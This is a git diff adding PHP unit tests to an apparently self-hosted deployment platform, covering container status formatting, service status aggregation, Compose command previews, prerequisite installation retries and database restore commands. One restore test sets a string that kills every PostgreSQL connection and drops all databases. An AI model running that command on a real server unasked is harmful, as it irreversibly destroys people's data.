+    // Verify that exclude_from_hc is parsed using trait helper
+    expect($getContainersStatusFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+});
+
+it('ensures UI displays excluded status correctly in status component', function () {
+    $servicesStatusFile = file_get_contents(__DIR__.'/../../resources/views/components/status/services.blade.php');
+
+    // Verify that the status component uses formatContainerStatus helper to display status
+    expect($servicesStatusFile)
+        ->toContain('formatContainerStatus($complexStatus)');
+});
+
+it('ensures UI handles excluded status in service heading buttons', function () {
+    $headingFile = file_get_contents(__DIR__.'/../../resources/views/livewire/project/service/heading.blade.php');
+
+    // Verify that the heading properly handles running/degraded/exited status with :excluded suffix
+    // The logic should use contains() to match the base status (running, degraded, exited)
+    // which will work for both regular statuses and :excluded suffixed ones
+    expect($headingFile)
+        ->toContain('str($service->status)->contains(\'running\')')
+        ->toContain('str($service->status)->contains(\'degraded\')')
+        ->toContain('str($service->status)->contains(\'exited\')');
+});
+
+/**
+ * Unit tests for YAML validation in CalculatesExcludedStatus trait
+ */
+it('ensures YAML validation has proper exception handling for parse errors', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Verify that ParseException is imported and caught separately from generic Exception
+    expect($traitFile)
+        ->toContain('use Symfony\Component\Yaml\Exception\ParseException')
+        ->toContain('use Illuminate\Support\Facades\Log')
+        ->toContain('} catch (ParseException $e) {')
+        ->toContain('} catch (\Exception $e) {');
+});
+
+it('ensures YAML validation logs parse errors with context', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Verify that parse errors are logged with useful context (error message, line, snippet)
+    expect($traitFile)
+        ->toContain('Log::warning(\'Failed to parse Docker Compose YAML for health check exclusions\'')
+        ->toContain('\'error\' => $e->getMessage()')
+        ->toContain('\'line\' => $e->getParsedLine()')
+        ->toContain('\'snippet\' => $e->getSnippet()');
+});
+
+it('ensures YAML validation logs unexpected errors', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Verify that unexpected errors are logged with error level
+    expect($traitFile)
+        ->toContain('Log::error(\'Unexpected error parsing Docker Compose YAML\'')
+        ->toContain('\'trace\' => $e->getTraceAsString()');
+});
+
+it('ensures YAML validation checks structure after parsing', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Verify that parsed result is validated to be an array
+    expect($traitFile)
+        ->toContain('if (! is_array($dockerCompose)) {')
+        ->toContain('Log::warning(\'Docker Compose YAML did not parse to array\'');
+
+    // Verify that services is validated to be an array
+    expect($traitFile)
+        ->toContain('if (! is_array($services)) {')
+        ->toContain('Log::warning(\'Docker Compose services is not an array\'');
+});
diff --git a/tests/Unit/FormatBytesTest.php b/tests/Unit/FormatBytesTest.php
new file mode 100644
index 000000000..70c9c3039
--- /dev/null
+++ b/tests/Unit/FormatBytesTest.php
@@ -0,0 +1,42 @@
+<?php
+
+it('formats zero bytes correctly', function () {
+    expect(formatBytes(0))->toBe('0 B');
+});
+
+it('formats null bytes correctly', function () {
+    expect(formatBytes(null))->toBe('0 B');
+});
+
+it('handles negative bytes safely', function () {
+    expect(formatBytes(-1024))->toBe('0 B');
+    expect(formatBytes(-100))->toBe('0 B');
+});
+
+it('formats bytes correctly', function () {
+    expect(formatBytes(512))->toBe('512 B');
+    expect(formatBytes(1023))->toBe('1023 B');
+});
+
+it('formats kilobytes correctly', function () {
+    expect(formatBytes(1024))->toBe('1 KB');
+    expect(formatBytes(2048))->toBe('2 KB');
+    expect(formatBytes(1536))->toBe('1.5 KB');
+});
+
+it('formats megabytes correctly', function () {
+    expect(formatBytes(1048576))->toBe('1 MB');
+    expect(formatBytes(5242880))->toBe('5 MB');
+});
+
+it('formats gigabytes correctly', function () {
+    expect(formatBytes(1073741824))->toBe('1 GB');
+    expect(formatBytes(2147483648))->toBe('2 GB');
+});
+
+it('respects precision parameter', function () {
+    expect(formatBytes(1536, 0))->toBe('2 KB');
+    expect(formatBytes(1536, 1))->toBe('1.5 KB');
+    expect(formatBytes(1536, 2))->toBe('1.5 KB');
+    expect(formatBytes(1536, 3))->toBe('1.5 KB');
+});
diff --git a/tests/Unit/FormatContainerStatusTest.php b/tests/Unit/FormatContainerStatusTest.php
new file mode 100644
index 000000000..f24aa8c52
--- /dev/null
+++ b/tests/Unit/FormatContainerStatusTest.php
@@ -0,0 +1,201 @@
+<?php
+
+describe('formatContainerStatus helper', function () {
+    describe('colon-delimited format parsing', function () {
+        it('transforms running:healthy to Running (healthy)', function () {
+            $result = formatContainerStatus('running:healthy');
+
+            expect($result)->toBe('Running (healthy)');
+        });
+
+        it('transforms running:unhealthy to Running (unhealthy)', function () {
+            $result = formatContainerStatus('running:unhealthy');
+
+            expect($result)->toBe('Running (unhealthy)');
+        });
+
+        it('transforms exited:0 to Exited (0)', function () {
+            $result = formatContainerStatus('exited:0');
+
+            expect($result)->toBe('Exited (0)');
+        });
+
+        it('transforms restarting:starting to Restarting (starting)', function () {
+            $result = formatContainerStatus('restarting:starting');
+
+            expect($result)->toBe('Restarting (starting)');
+        });
+    });
+
+    describe('excluded suffix handling', function () {
+        it('transforms running:unhealthy:excluded to Running (unhealthy, excluded)', function () {
+            $result = formatContainerStatus('running:unhealthy:excluded');
+
+            expect($result)->toBe('Running (unhealthy, excluded)');
+        });
+
+        it('transforms running:healthy:excluded to Running (healthy, excluded)', function () {
+            $result = formatContainerStatus('running:healthy:excluded');
+
+            expect($result)->toBe('Running (healthy, excluded)');
+        });
+
+        it('transforms exited:excluded to Exited (excluded)', function () {
+            $result = formatContainerStatus('exited:excluded');
+
+            expect($result)->toBe('Exited (excluded)');
+        });
+
+        it('transforms stopped:excluded to Stopped (excluded)', function () {
+            $result = formatContainerStatus('stopped:excluded');
+
+            expect($result)->toBe('Stopped (excluded)');
+        });
+    });
+
+    describe('simple status format', function () {
+        it('transforms running to Running', function () {
+            $result = formatContainerStatus('running');
+
+            expect($result)->toBe('Running');
+        });
+
+        it('transforms exited to Exited', function () {
+            $result = formatContainerStatus('exited');
+
+            expect($result)->toBe('Exited');
+        });
+
+        it('transforms stopped to Stopped', function () {
+            $result = formatContainerStatus('stopped');
+
+            expect($result)->toBe('Stopped');
+        });
+
+        it('transforms restarting to Restarting', function () {
+            $result = formatContainerStatus('restarting');
+
+            expect($result)->toBe('Restarting');
+        });
+
+        it('transforms degraded to Degraded', function () {
+            $result = formatContainerStatus('degraded');
+
+            expect($result)->toBe('Degraded');
+        });
+    });
+
+    describe('Proxy status preservation', function () {
+        it('preserves Proxy:running without parsing colons', function () {
+            $result = formatContainerStatus('Proxy:running');
+
+            expect($result)->toBe('Proxy:running');
+        });
+
+        it('preserves Proxy:exited without parsing colons', function () {
+            $result = formatContainerStatus('Proxy:exited');
+
+            expect($result)->toBe('Proxy:exited');
+        });
+
+        it('preserves Proxy:healthy without parsing colons', function () {
+            $result = formatContainerStatus('Proxy:healthy');
+
+            expect($result)->toBe('Proxy:healthy');
+        });
+
+        it('applies headline formatting to Proxy statuses', function () {
+            $result = formatContainerStatus('proxy:running');
+
+            expect($result)->toBe('Proxy (running)');
+        });
+    });
+
+    describe('headline transformation', function () {
+        it('applies headline to simple lowercase status', function () {
+            $result = formatContainerStatus('running');
+
+            expect($result)->toBe('Running');
+        });
+
+        it('applies headline to uppercase status', function () {
+            // headline() adds spaces between capital letters
+            $result = formatContainerStatus('RUNNING');
+
+            expect($result)->toBe('R U N N I N G');
+        });
+
+        it('applies headline to mixed case status', function () {
+            // headline() adds spaces between capital letters
+            $result = formatContainerStatus('RuNnInG');
+
+            expect($result)->toBe('Ru Nn In G');
+        });
+
+        it('applies headline to first part of colon format', function () {
+            // headline() adds spaces between capital letters
+            $result = formatContainerStatus('RUNNING:healthy');
+
+            expect($result)->toBe('R U N N I N G (healthy)');
+        });
+    });
+
+    describe('edge cases', function () {
+        it('handles empty string gracefully', function () {
+            $result = formatContainerStatus('');
+
+            expect($result)->toBe('');
+        });
+
+        it('handles multiple colons beyond expected format', function () {
+            // Only first two parts should be used (or three with :excluded)
+            $result = formatContainerStatus('running:healthy:extra:data');
+
+            expect($result)->toBe('Running (healthy)');
+        });
+
+        it('handles status with spaces in health part', function () {
+            $result = formatContainerStatus('running:health check failed');
+
+            expect($result)->toBe('Running (health check failed)');
+        });
+
+        it('handles single colon with empty second part', function () {
+            $result = formatContainerStatus('running:');
+
+            expect($result)->toBe('Running ()');
+        });
+    });
+
+    describe('real-world scenarios', function () {
+        it('handles typical running healthy container', function () {
+            $result = formatContainerStatus('running:healthy');
+
+            expect($result)->toBe('Running (healthy)');
+        });
+
+        it('handles degraded container with health issues', function () {
+            $result = formatContainerStatus('degraded:unhealthy');
+
+            expect($result)->toBe('Degraded (unhealthy)');
+        });
+
+        it('handles excluded unhealthy container', function () {
+            $result = formatContainerStatus('running:unhealthy:excluded');
+
+            expect($result)->toBe('Running (unhealthy, excluded)');
+        });
+
+        it('handles proxy container status', function () {
+            $result = formatContainerStatus('Proxy:running');
+
+            expect($result)->toBe('Proxy:running');
+        });
+
+        it('handles stopped container', function () {
+            $result = formatContainerStatus('stopped');
+
+            expect($result)->toBe('Stopped');
+        });
+    });
+});
diff --git a/tests/Unit/GetContainersStatusServiceAggregationTest.php b/tests/Unit/GetContainersStatusServiceAggregationTest.php
new file mode 100644
index 000000000..4666d5fb7
--- /dev/null
+++ b/tests/Unit/GetContainersStatusServiceAggregationTest.php
@@ -0,0 +1,90 @@
+<?php
+
+/**
+ * Unit tests for GetContainersStatus service aggregation logic (SSH path).
+ *
+ * These tests verify that the SSH-based status updates (GetContainersStatus)
+ * correctly aggregates container statuses for services with multiple containers,
+ * using the same logic as PushServerUpdateJob (Sentinel path).
+ *
+ * This ensures consistency across both status update paths and prevents
+ * race conditions where the last container processed wins.
+ */
+it('implements service multi-container aggregation in SSH path', function () {
+    $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Verify service container collection property exists
+    expect($actionFile)
+        ->toContain('protected ?Collection $serviceContainerStatuses;');
+
+    // Verify aggregateServiceContainerStatuses method exists
+    expect($actionFile)
+        ->toContain('private function aggregateServiceContainerStatuses($services)')
+        ->toContain('$this->aggregateServiceContainerStatuses($services);');
+
+    // Verify service aggregation uses same logic as applications
+    expect($actionFile)
+        ->toContain('$hasUnknown = false;');
+});
+
+it('services use same priority as applications in SSH path', function () {
+    $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Both aggregation methods should use the same priority logic
+    $priorityLogic = <<<'PHP'
+                if ($hasUnhealthy) {
+                    $aggregatedStatus = 'running (unhealthy)';
+                } elseif ($hasUnknown) {
+                    $aggregatedStatus = 'running (unknown)';
+                } else {
+                    $aggregatedStatus = 'running (healthy)';
+                }
+PHP;
+
+    // Should appear in service aggregation
+    expect($actionFile)->toContain($priorityLogic);
+});
+
+it('collects service containers before aggregating in SSH path', function () {
+    $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Verify service containers are collected, not immediately updated
+    expect($actionFile)
+        ->toContain('$key = $serviceLabelId.\':\'.$subType.\':\'.$subId;')
+        ->toContain('$this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);');
+
+    // Verify aggregation happens before ServiceChecked dispatch
+    expect($actionFile)
+        ->toContain('$this->aggregateServiceContainerStatuses($services);')
+        ->toContain('ServiceChecked::dispatch($this->server->team->id);');
+});
+
+it('SSH and Sentinel paths use identical service aggregation logic', function () {
+    $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+    $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Both should track the same status flags
+    expect($jobFile)->toContain('$hasUnknown = false;');
+    expect($actionFile)->toContain('$hasUnknown = false;');
+
+    // Both should check for unknown status
+    expect($jobFile)->toContain('if (str($status)->contains(\'unknown\')) {');
+    expect($actionFile)->toContain('if (str($status)->contains(\'unknown\')) {');
+
+    // Both should have elseif for unknown priority
+    expect($jobFile)->toContain('} elseif ($hasUnknown) {');
+    expect($actionFile)->toContain('} elseif ($hasUnknown) {');
+});
+
+it('handles service status updates consistently', function () {
+    $jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+    $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Both should parse service key with same format
+    expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
+    expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
+
+    // Both should handle excluded containers
+    expect($jobFile)->toContain('$excludedContainers = collect();');
+    expect($actionFile)->toContain('$excludedContainers = collect();');
+});
diff --git a/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php b/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php
new file mode 100644
index 000000000..cea05a998
--- /dev/null
+++ b/tests/Unit/Livewire/ApplicationGeneralPreviewTest.php
@@ -0,0 +1,156 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Livewire\Project\Application\General;
+
+it('prevents double slashes in build command preview when baseDirectory is root', function () {
+    // Mock the component with properties
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomBuildCommand = 'docker compose build';
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    // Should be ./docker-compose.yaml, NOT .//docker-compose.yaml
+    expect($preview)
+        ->toBeString()
+        ->toContain('./docker-compose.yaml')
+        ->not->toContain('.//');
+});
+
+it('correctly formats build command preview with nested baseDirectory', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/backend';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomBuildCommand = 'docker compose build';
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    // Should be ./backend/docker-compose.yaml
+    expect($preview)
+        ->toBeString()
+        ->toContain('./backend/docker-compose.yaml');
+});
+
+it('correctly formats build command preview with deeply nested baseDirectory', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/apps/api/backend';
+    $component->dockerComposeLocation = '/docker-compose.prod.yaml';
+    $component->dockerComposeCustomBuildCommand = 'docker compose build';
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    expect($preview)
+        ->toBeString()
+        ->toContain('./apps/api/backend/docker-compose.prod.yaml');
+});
+
+it('uses BUILD_TIME_ENV_PATH constant instead of hardcoded path in build command preview', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomBuildCommand = 'docker compose build';
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    // Should contain the path from the constant
+    expect($preview)
+        ->toBeString()
+        ->toContain(ApplicationDeploymentJob::BUILD_TIME_ENV_PATH);
+});
+
+it('returns empty string for build command preview when no custom build command is set', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/backend';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomBuildCommand = null;
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    expect($preview)->toBe('');
+});
+
+it('prevents double slashes in start command preview when baseDirectory is root', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomStartCommand = 'docker compose up -d';
+
+    $preview = $component->getDockerComposeStartCommandPreviewProperty();
+
+    // Should be ./docker-compose.yaml, NOT .//docker-compose.yaml
+    expect($preview)
+        ->toBeString()
+        ->toContain('./docker-compose.yaml')
+        ->not->toContain('.//');
+});
+
+it('correctly formats start command preview with nested baseDirectory', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/frontend';
+    $component->dockerComposeLocation = '/compose.yaml';
+    $component->dockerComposeCustomStartCommand = 'docker compose up -d';
+
+    $preview = $component->getDockerComposeStartCommandPreviewProperty();
+
+    expect($preview)
+        ->toBeString()
+        ->toContain('./frontend/compose.yaml');
+});
+
+it('uses workdir env placeholder in start command preview', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomStartCommand = 'docker compose up -d';
+
+    $preview = $component->getDockerComposeStartCommandPreviewProperty();
+
+    // Start command should use {workdir}/.env, not build-time env
+    expect($preview)
+        ->toBeString()
+        ->toContain('{workdir}/.env')
+        ->not->toContain(ApplicationDeploymentJob::BUILD_TIME_ENV_PATH);
+});
+
+it('returns empty string for start command preview when no custom start command is set', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/backend';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomStartCommand = null;
+
+    $preview = $component->getDockerComposeStartCommandPreviewProperty();
+
+    expect($preview)->toBe('');
+});
+
+it('handles baseDirectory with trailing slash correctly in build command', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/backend/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomBuildCommand = 'docker compose build';
+
+    $preview = $component->getDockerComposeBuildCommandPreviewProperty();
+
+    // rtrim should remove trailing slash to prevent double slashes
+    expect($preview)
+        ->toBeString()
+        ->toContain('./backend/docker-compose.yaml')
+        ->not->toContain('backend//');
+});
+
+it('handles baseDirectory with trailing slash correctly in start command', function () {
+    $component = Mockery::mock(General::class)->makePartial();
+    $component->baseDirectory = '/backend/';
+    $component->dockerComposeLocation = '/docker-compose.yaml';
+    $component->dockerComposeCustomStartCommand = 'docker compose up -d';
+
+    $preview = $component->getDockerComposeStartCommandPreviewProperty();
+
+    // rtrim should remove trailing slash to prevent double slashes
+    expect($preview)
+        ->toBeString()
+        ->toContain('./backend/docker-compose.yaml')
+        ->not->toContain('backend//');
+});
diff --git a/tests/Unit/Livewire/BoardingPrerequisitesTest.php b/tests/Unit/Livewire/BoardingPrerequisitesTest.php
new file mode 100644
index 000000000..180a274d2
--- /dev/null
+++ b/tests/Unit/Livewire/BoardingPrerequisitesTest.php
@@ -0,0 +1,181 @@
+<?php
+
+use App\Livewire\Boarding\Index;
+use App\Models\Activity;
+use App\Models\Server;
+
+/**
+ * These tests verify the fix for the prerequisite installation race condition.
+ * The key behavior is that installation runs asynchronously via Activity,
+ * and revalidation only happens after the ActivityMonitor callback.
+ */
+it('dispatches activity to monitor when prerequisites are missing', function () {
+    // This test verifies the core fix: that we dispatch to ActivityMonitor
+    // instead of immediately revalidating after starting installation.
+
+    $server = Mockery::mock(Server::class)->makePartial();
+    $server->shouldReceive('validatePrerequisites')
+        ->andReturn([
+            'success' => false,
+            'missing' => ['git'],
+            'found' => ['curl', 'jq'],
+        ]);
+
+    $activity = Mockery::mock(Activity::class);
+    $activity->id = 'test-activity-123';
+    $server->shouldReceive('installPrerequisites')
+        ->once()
+        ->andReturn($activity);
+
+    $component = Mockery::mock(Index::class)->makePartial();
+    $component->createdServer = $server;
+    $component->prerequisiteInstallAttempts = 0;
+    $component->maxPrerequisiteInstallAttempts = 3;
+
+    // Key assertion: verify activityMonitor event is dispatched with correct params
+    $component->shouldReceive('dispatch')
+        ->once()
+        ->with('activityMonitor', 'test-activity-123', 'prerequisitesInstalled')
+        ->andReturnSelf();
+
+    // Invoke the prerequisite check logic (simulating what validateServer does)
+    $validationResult = $component->createdServer->validatePrerequisites();
+    if (! $validationResult['success']) {
+        if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
+            throw new Exception('Max attempts exceeded');
+        }
+        $activity = $component->createdServer->installPrerequisites();
+        $component->prerequisiteInstallAttempts++;
+        $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
+    }
+
+    expect($component->prerequisiteInstallAttempts)->toBe(1);
+});
+
+it('does not retry when prerequisites install successfully', function () {
+    // This test verifies the callback behavior when installation succeeds.
+
+    $server = Mockery::mock(Server::class)->makePartial();
+    $server->shouldReceive('validatePrerequisites')
+        ->andReturn([
+            'success' => true,
+            'missing' => [],
+            'found' => ['git', 'curl', 'jq'],
+        ]);
+
+    // installPrerequisites should NOT be called again
+    $server->shouldNotReceive('installPrerequisites');
+
+    $component = Mockery::mock(Index::class)->makePartial();
+    $component->createdServer = $server;
+    $component->prerequisiteInstallAttempts = 1;
+    $component->maxPrerequisiteInstallAttempts = 3;
+
+    // Simulate the callback logic
+    $validationResult = $component->createdServer->validatePrerequisites();
+    if ($validationResult['success']) {
+        // Prerequisites are now valid, we'd call continueValidation()
+        // For the test, just verify we don't try to install again
+        expect($validationResult['success'])->toBeTrue();
+    }
+});
+
+it('retries when prerequisites still missing after callback', function () {
+    // This test verifies retry logic in the callback.
+
+    $server = Mockery::mock(Server::class)->makePartial();
+    $server->shouldReceive('validatePrerequisites')
+        ->andReturn([
+            'success' => false,
+            'missing' => ['git'],
+            'found' => ['curl', 'jq'],
+        ]);
+
+    $activity = Mockery::mock(Activity::class);
+    $activity->id = 'retry-activity-456';
+    $server->shouldReceive('installPrerequisites')
+        ->once()
+        ->andReturn($activity);
+
+    $component = Mockery::mock(Index::class)->makePartial();
+    $component->createdServer = $server;
+    $component->prerequisiteInstallAttempts = 1; // Already tried once
+    $component->maxPrerequisiteInstallAttempts = 3;
+
+    $component->shouldReceive('dispatch')
+        ->once()
+        ->with('activityMonitor', 'retry-activity-456', 'prerequisitesInstalled')
+        ->andReturnSelf();
+
+    // Simulate callback logic
+    $validationResult = $component->createdServer->validatePrerequisites();
+    if (! $validationResult['success']) {
+        if ($component->prerequisiteInstallAttempts < $component->maxPrerequisiteInstallAttempts) {
+            $activity = $component->createdServer->installPrerequisites();
+            $component->prerequisiteInstallAttempts++;
+            $component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
+        }
+    }
+
+    expect($component->prerequisiteInstallAttempts)->toBe(2);
+});
+
+it('throws exception when max attempts exceeded', function () {
+    // This test verifies that we stop retrying after max attempts.
+
+    $server = Mockery::mock(Server::class)->makePartial();
+    $server->shouldReceive('validatePrerequisites')
+        ->andReturn([
+            'success' => false,
+            'missing' => ['git', 'curl'],
+            'found' => ['jq'],
+        ]);
+
+    // installPrerequisites should NOT be called when at max attempts
+    $server->shouldNotReceive('installPrerequisites');
+
+    $component = Mockery::mock(Index::class)->makePartial();
+    $component->createdServer = $server;
+    $component->prerequisiteInstallAttempts = 3; // Already at max
+    $component->maxPrerequisiteInstallAttempts = 3;
+
+    // Simulate callback logic - should throw exception
+    $validationResult = $component->createdServer->validatePrerequisites();
+    if (! $validationResult['success']) {
+        if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
+            $missingCommands = implode(', ', $validationResult['missing']);
+            throw new Exception("Prerequisites ({$missingCommands}) could not be installed after {$component->maxPrerequisiteInstallAttempts} attempts.");
+        }
+    }
+})->throws(Exception::class, 'Prerequisites (git, curl) could not be installed after 3 attempts');
+
+it('does not install when prerequisites already present', function () {
+    // This test verifies we skip installation when everything is already installed.
+
+    $server = Mockery::mock(Server::class)->makePartial();
+    $server->shouldReceive('validatePrerequisites')
+        ->andReturn([
+            'success' => true,
+            'missing' => [],
+            'found' => ['git', 'curl', 'jq'],
+        ]);
+
+    // installPrerequisites should NOT be called
+    $server->shouldNotReceive('installPrerequisites');
+
+    $component = Mockery::mock(Index::class)->makePartial();
+    $component->createdServer = $server;
+    $component->prerequisiteInstallAttempts = 0;
+    $component->maxPrerequisiteInstallAttempts = 3;
+
+    // Simulate validation logic
+    $validationResult = $component->createdServer->validatePrerequisites();
+    if (! $validationResult['success']) {
+        // Should not reach here
+        $component->prerequisiteInstallAttempts++;
+    }
+
+    // Attempts should remain 0
+    expect($component->prerequisiteInstallAttempts)->toBe(0);
+    expect($validationResult['success'])->toBeTrue();
+});
diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php
new file mode 100644
index 000000000..18837b466
--- /dev/null
+++ b/tests/Unit/Livewire/Database/S3RestoreTest.php
@@ -0,0 +1,79 @@
+<?php
+
+use App\Livewire\Project\Database\Import;
+
+test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
+    $component = new Import;
+    $component->dumpAll = false;
+    $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
+
+    $database = Mockery::mock('App\Models\StandalonePostgresql');
+    $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+    $component->resource = $database;
+
+    $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+    expect($result)->toContain('pg_restore');
+    expect($result)->toContain('/tmp/test.dump');
+});
+
+test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
+    $component = new Import;
+    $component->dumpAll = true;
+    // This is the full dump-all command prefix that would be set in the updatedDumpAll method
+    $component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
+
+    $database = Mockery::mock('App\Models\StandalonePostgresql');
+    $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+    $component->resource = $database;
+
+    $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+    expect($result)->toContain('gunzip -cf /tmp/test.dump');
+    expect($result)->toContain('psql -U $POSTGRES_USER postgres');
+});
+
+test('buildRestoreCommand handles MySQL without dumpAll', function () {
+    $component = new Import;
+    $component->dumpAll = false;
+    $component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
+
+    $database = Mockery::mock('App\Models\StandaloneMysql');
+    $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
+    $component->resource = $database;
+
+    $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+    expect($result)->toContain('mysql -u $MYSQL_USER');
+    expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MariaDB without dumpAll', function () {
+    $component = new Import;
+    $component->dumpAll = false;
+    $component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
+
+    $database = Mockery::mock('App\Models\StandaloneMariadb');
+    $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
+    $component->resource = $database;
+
+    $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+    expect($result)->toContain('mariadb -u $MARIADB_USER');
+    expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MongoDB', function () {
+    $component = new Import;
+    $component->dumpAll = false;
+    $component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
+
+    $database = Mockery::mock('App\Models\StandaloneMongodb');
+    $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
+    $component->resource = $database;
+
+    $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+    expect($result)->toContain('mongorestore');
+    expect($result)->toContain('/tmp/test.dump');
+});
diff --git a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
new file mode 100644
index 000000000..19da8b43b
--- /dev/null
+++ b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
@@ -0,0 +1,53 @@
+<?php
+
+use App\Livewire\Project\Shared\EnvironmentVariable\Add;
+use Illuminate\Support\Facades\Auth;
+
+it('has availableSharedVariables computed property', function () {
+    $component = new Add;
+
+    // Check that the method exists
+    expect(method_exists($component, 'availableSharedVariables'))->toBeTrue();
+});
+
+it('component has required properties for environment variable autocomplete', function () {
+    $component = new Add;
+
+    expect($component)->toHaveProperty('key')
+        ->and($component)->toHaveProperty('value')
+        ->and($component)->toHaveProperty('is_multiline')
+        ->and($component)->toHaveProperty('is_literal')
+        ->and($component)->toHaveProperty('is_runtime')
+        ->and($component)->toHaveProperty('is_buildtime')
+        ->and($component)->toHaveProperty('parameters');
+});
+
+it('returns empty arrays when currentTeam returns null', function () {
+    // Mock Auth facade to return null for user
+    Auth::shouldReceive('user')
+        ->andReturn(null);
+
+    $component = new Add;
+    $component->parameters = [];
+
+    $result = $component->availableSharedVariables();
+
+    expect($result)->toBe([
+        'team' => [],
+        'project' => [],
+        'environment' => [],
+    ]);
+});
+
+it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
+    // Read the source code to verify the authorization pattern
+    $reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
+    $source = file_get_contents($reflectionMethod->getFileName());
+
+    // Verify that the method contains authorization checks
+    expect($source)->toContain('$this->authorize(\'view\', $team)')
+        ->and($source)->toContain('$this->authorize(\'view\', $project)')
+        ->and($source)->toContain('$this->authorize(\'view\', $environment)')
+        // Verify authorization checks are wrapped in try-catch blocks
+        ->and($source)->toContain('} catch (\Illuminate\Auth\Access\AuthorizationException $e) {');
+});
